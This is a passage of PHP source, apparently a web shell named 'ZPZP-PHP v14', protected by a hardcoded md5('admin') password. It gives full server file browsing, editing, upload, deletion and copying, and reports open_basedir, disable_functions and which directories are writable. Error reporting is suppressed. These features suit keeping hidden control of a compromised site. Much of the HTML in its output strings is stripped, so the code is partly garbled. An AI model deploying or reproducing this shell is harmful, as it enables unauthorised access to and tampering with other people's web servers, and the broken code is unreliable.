/ fn() / 标量类型声明)
*/
error_reporting(0);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
$K = '21232f297a57a5a743894a0e4a801fc3'; /* md5("admin") */
$TAG = 'zpanel';
$TOK = md5($K . '|zp-tok');
$self = $_SERVER['SCRIPT_NAME'];
$root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/'); /* dirname(__FILE__): PHP 5.1 兼容, __DIR__ 需 5.3+ */
$docroot = rtrim(str_replace('\\', '/', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''), '/');
$BOOK = array();
if ($docroot !== '') $BOOK[] = array('站点根', $docroot);
$BOOK[] = array('盘符根', preg_match('#^([a-zA-Z]):#', $root, $zpm) ? strtoupper($zpm[1]) . ':/' : '/');
$BOOK[] = array('服务器根', '/');
function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function u($s){ return rawurlencode($s); }
function pe($s){ return u(base64_encode($s)); } /* 路径参数 base64 传输 */
/* ===== 权限显示: 可写=绿 / 只读=红 ===== */
function mode_of($p){ $m = @fileperms($p); return $m === false ? '----' : substr(sprintf('%o', $m), -4); }
function owner_of($p){ return (string)@fileowner($p) . ':' . (string)@filegroup($p); }
function can_w($p){
$t = @file_exists($p) ? $p : dirname($p);
clearstatcache(true, $t);
if (is_file($t)) {
/* 非破坏性探测: 以读写方式打开但不写入任何内容 */
$fh = @fopen($t, 'r+');
if ($fh !== false) { @fclose($fh); return true; }
return (bool)@is_writable($t);
}
if (@is_writable($t)) return true;
if (@is_writable($t . '/.')) return true;
if (@is_writable($t . '/..')) return true;
return false;
}
function name_color($p){ return can_w($p) ? '#16a34a' : '#dc2626'; }
function perm_cell($p){
$w = can_w($p);
$c = $w ? '#15803d' : '#dc2626';
$bg = $w ? '#dcfce7' : '#fee2e2';
$t = $w ? '可写' : '只读';
return '' . $t . '';
}
function perm_dot($p){
$w = can_w($p);
return '■';
}
function authed(){ global $TOK, $TAG; return isset($_COOKIE[$TAG]) && $_COOKIE[$TAG] === $TOK; }
function norm($p){
$p = str_replace('\\', '/', (string)$p);
if ($p === '') return '/';
if (preg_match('#^[a-zA-Z]:$#', $p)) return $p . '/';
return $p;
}
/* 上级目录: 盘符根(E:/)的上级仍是 E:/, 避免 dirname('E:/') 得到 'E:' 后失去盘符语义 */
function parent_of($dir){
$d = rtrim(str_replace('\\', '/', (string)$dir), '/');
if ($d === '') return '/';
if (preg_match('#^[a-zA-Z]:$#', $d)) return $d . '/';
return norm(dirname($d));
}
function resolve($p){
global $root;
$p = str_replace('\\', '/', (string)$p);
if ($p === '' || $p === '.') return $root;
if (preg_match('#^[a-zA-Z]:#', $p) || $p[0] === '/') {
$r = rtrim($p, '/');
if ($r === '') return '/';
if (preg_match('#^[a-zA-Z]:$#', $r)) return $r . '/';
return $r;
}
return $root . '/' . ltrim($p, '/');
}
function rel($p){
global $root;
$p = str_replace('\\', '/', (string)$p);
if (strcasecmp($p, $root) === 0) return '.';
if (stripos($p, $root . '/') === 0) return ltrim(substr($p, strlen($root)), '/');
return $p;
}
function is_u8($s){
if ($s === '') return true;
if (function_exists('mb_check_encoding')) return @mb_check_encoding($s, 'UTF-8');
return preg_match('//u', $s) === 1;
}
function to_u8($bin){
if (is_u8($bin)) return $bin;
if (function_exists('iconv')) { $t = @iconv('GBK', 'UTF-8//IGNORE', $bin); if ($t !== false && $t !== '') return $t; }
if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($bin, 'UTF-8', 'GBK');
return $bin;
}
function from_u8($txt, $enc){
if ($enc !== 'gbk') return $txt;
if (function_exists('iconv')) { $t = @iconv('UTF-8', 'GBK//IGNORE', $txt); if ($t !== false) return $t; }
if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($txt, 'GBK', 'UTF-8');
return $txt;
}
function rrmdir($d){
if (!is_dir($d)) return;
foreach (scandir($d) as $f) {
if ($f === '.' || $f === '..') continue;
$p = $d . '/' . $f;
if (is_dir($p)) rrmdir($p); else @unlink($p);
}
@rmdir($d);
}
/* 面包屑: 每一级都是可点链接(含 Windows 盘符段) —— "点到哪去到哪" */
function crumbs($path){
$p = rtrim(str_replace('\\', '/', (string)$path), '/');
if ($p === '') $p = '/';
$segs = array_values(array_filter(explode('/', $p), 'strlen'));
/* Windows: E:/a/b → E:\ 为锚点链接, 其后逐级可点 */
if (isset($segs[0]) && preg_match('#^[a-zA-Z]:$#', $segs[0])) {
$drv = strtoupper($segs[0]);
array_shift($segs);
$out = '' . h($drv) . '\\';
$cur = $drv;
$n = count($segs);
foreach ($segs as $i => $s) {
$cur .= '/' . $s;
$out .= '\\';
if ($i === $n - 1) $out .= '' . h($s) . '';
else $out .= '' . h($s) . '';
}
return $out;
}
/* 类 Unix */
$out = '/';
$n = count($segs); $cur = '';
foreach ($segs as $i => $s) {
$cur .= '/' . $s;
if ($i === $n - 1) $out .= '' . h($s) . '';
else $out .= '' . h($s) . '/';
}
return $out;
}
/* 快捷跳转条 */
function quickbar($dir){
global $BOOK, $root;
$items = array(array('面板目录', rtrim($root, '/') === '' ? '/' : $root));
foreach ($BOOK as $b) $items[] = $b;
$seen = array(); $out = '
';
foreach ($items as $it) {
$p = rtrim($it[1], '/'); if ($p === '') $p = '/';
if (preg_match('#^[a-zA-Z]:$#', $p)) $p .= '/';
if (isset($seen[$p])) continue;
$seen[$p] = 1;
$cur = (rtrim(str_replace('\\', '/', $dir), '/') === $p);
$out .= '
[' . h($it[0]) . '] ';
}
return $out . '
';
}
function redir($path, $a){
global $self;
header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path));
exit;
}
function head($title){
echo '' . h($title) . ' - ZPZP-PHP v14 '
. h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '') . '
SiteInfoExit ';
}
function foot(){ echo '
'; }
if (isset($_GET['out'])) { setcookie($TAG, '', time() - 3600); header('Location: ' . $self); exit; }
if (!authed()) {
if (isset($_POST['p']) && md5((string)$_POST['p']) === $K) {
setcookie($TAG, $TOK, 0, '/', '');
header('Location: ' . $self . '?a=list'); exit;
}
head('Login');
echo '';
if (isset($_POST['p'])) echo '
wrong password
';
echo '
'; foot(); exit;
}
$a = isset($_GET['a']) ? $_GET['a'] : 'list';
$path = '';
if (isset($_GET['p64'])) {
$b = str_replace(' ', '+', (string)$_GET['p64']);
$d = base64_decode($b); /* strict 参数需 PHP 5.2+, 5.1.6 下恒 false 导致所有路径失效 */
if ($d !== false && $d !== '') $path = $d;
elseif (isset($_GET['path'])) $path = (string)$_GET['path'];
} elseif (isset($_GET['path'])) {
$path = (string)$_GET['path'];
}
if ($a === 'list' && $path === '') $path = '.';
switch ($a) {
case 'list':
$dir = resolve($path);
head('Files');
echo '' . quickbar($dir) . '
';
if (!is_dir($dir)) { echo 'not a directory: ' . h($dir) . '
'; foot(); exit; }
echo '' . crumbs($dir) . '
';
echo '
当前目录权限: ' . perm_cell($dir) . ' mode ' . h(mode_of($dir)) . ' / owner ' . h((string)@fileowner($dir)) . ':' . h((string)@filegroup($dir)) . '';
echo ' 图例: ' . perm_dot($dir) . ' 绿=可写 ■ 红=只读
';
echo '
[上级 ..]'
. '
[刷新]';
echo '
';
echo '
';
echo '| Name | Size | Modified | 权限 | Ops |
';
$ds = array(); $fs = array();
foreach (scandir($dir) as $f) {
if ($f === '.' || $f === '..') continue;
if (is_dir($dir . '/' . $f)) $ds[] = $f; else $fs[] = $f;
}
sort($ds); sort($fs);
foreach ($ds as $d) {
$rp = $dir . '/' . $d;
echo '| ' . h($d) . '/ | - | ' . date('Y-m-d H:i', @filemtime($rp)) . ' | ' . perm_cell($rp) . ' | '
. 'enter'
. 'del |
';
}
foreach ($fs as $f) {
$rp = $dir . '/' . $f;
echo '| ' . h($f) . ' | ' . @filesize($rp) . ' | ' . date('Y-m-d H:i', @filemtime($rp)) . ' | ' . perm_cell($rp) . ' | '
. 'dl'
. 'ren'
. 'copy'
. 'del |
';
}
echo '
'; foot(); exit;
case 'read':
$fp = resolve($path);
$bin = @file_get_contents($fp);
$u8 = is_u8($bin);
$txt = $u8 ? $bin : to_u8($bin);
head('Edit');
echo '' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '
';
echo '
' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, ' . ($u8 ? 'utf-8' : 'gbk') . ') ' . perm_cell($fp) . '
mode ' . h(mode_of($fp)) . '';
if (!can_w($fp)) echo '
⚠ 该文件为只读,保存 / 删除 / 改名都会失败
';
if (isset($_GET['err'])) echo '
✗ 保存失败:文件不可写,或被主机防篡改策略拒绝
';
elseif (isset($_GET['ok'])) echo '
✓ 已保存
';
echo '
';
foot(); exit;
case 'save':
$t = isset($_POST['txt']) ? $_POST['txt'] : null;
if ($t === null) redir('.', 'list');
$enc = isset($_GET['enc']) ? $_GET['enc'] : 'utf8';
$ok = @file_put_contents(resolve($path), from_u8($t, $enc));
header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit;
case 'dl':
$fp = resolve($path);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
header('Content-Length: ' . @filesize($fp));
@readfile($fp); exit;
case 'del':
$fp = resolve($path);
if (is_file($fp)) @unlink($fp); elseif (is_dir($fp)) rrmdir($fp);
redir(rel(parent_of($fp)), 'list');
case 'ren':
$fp = resolve($path);
$to = isset($_GET['to']) ? (string)$_GET['to'] : '';
if ($to !== '') @rename($fp, dirname($fp) . '/' . basename($to));
redir(rel(dirname($fp)), 'list');
case 'cp':
$fp = resolve($path);
$to = isset($_GET['to']) ? (string)$_GET['to'] : '';
if ($to === '') {
head('Copy');
echo '';
foot(); exit;
}
$dst = dirname($fp) . '/' . basename($to);
if (is_dir($fp)) {
function rcopy($s, $d){
if (!is_dir($d)) @mkdir($d, 0777, true);
foreach (scandir($s) as $f) {
if ($f === '.' || $f === '..') continue;
$sp = $s . '/' . $f; $dp = $d . '/' . $f;
if (is_dir($sp)) rcopy($sp, $dp); else @copy($sp, $dp);
}
}
rcopy($fp, $dst);
} else @copy($fp, $dst);
redir(rel(dirname($fp)), 'list');
case 'mkdir':
$name = isset($_GET['name']) ? (string)$_GET['name'] : '';
if ($name !== '') @mkdir(resolve($path) . '/' . $name, 0777, true);
redir(rel(resolve($path)), 'list');
case 'up':
$upok = false; $upn = ''; $dst = '';
if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
$upn = basename($_FILES['f']['name']);
$dst = resolve($path) . '/' . $upn;
$upok = @move_uploaded_file($_FILES['f']['tmp_name'], $dst);
}
head('Upload');
echo '';
if ($upok) {
/* 完整物理路径 */
$full = str_replace('\\', '/', $dst);
/* 对应的网址: 仅当文件位于站点根之内 */
$url = '';
$dr = rtrim(str_replace('\\', '/', $docroot), '/');
if ($dr !== '' && stripos($full, $dr . '/') === 0) {
$rp = substr($full, strlen($dr));
$sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp;
}
echo '
✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)';
echo '
完整路径
';
echo '
' . h($full) . '
';
if ($url !== '') {
echo '
';
} else {
echo '
⚠ 文件在站点根目录之外,无对应 URL
';
}
} else {
echo '
✗ upload failed — 目标目录 ' . perm_cell(resolve($path));
}
echo '
back ';
foot(); exit;
case 'info':
head('Info');
echo 'PHP ' . PHP_VERSION . "\n" . php_uname() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)ini_get('open_basedir')) . "\ndisable_functions=" . h((string)ini_get('disable_functions')) . "\nuser=" . h(get_current_user()) . ' ';
echo '目录可写性扫描 (绿=可写 / 红=只读)
';
echo '
| 目录 | mode | owner:group | 权限 |
';
$scan = array();
if ($docroot !== '') $scan[] = $docroot;
$scan[] = $root;
if (is_dir($root)) {
foreach (scandir($root) as $f) {
if ($f === '.' || $f === '..') continue;
if (is_dir($root . '/' . $f)) $scan[] = $root . '/' . $f;
}
}
$seen = array();
foreach ($scan as $p) {
if (isset($seen[$p]) || !is_dir($p)) continue;
$seen[$p] = 1;
echo '| ' . h(rel($p)) . '/ | ' . h(mode_of($p)) . ' | ' . h((string)@fileowner($p)) . ':' . h((string)@filegroup($p)) . ' | ' . perm_cell($p) . ' |
';
}
echo '
';
foot(); exit;
default:
redir('.', 'list');
}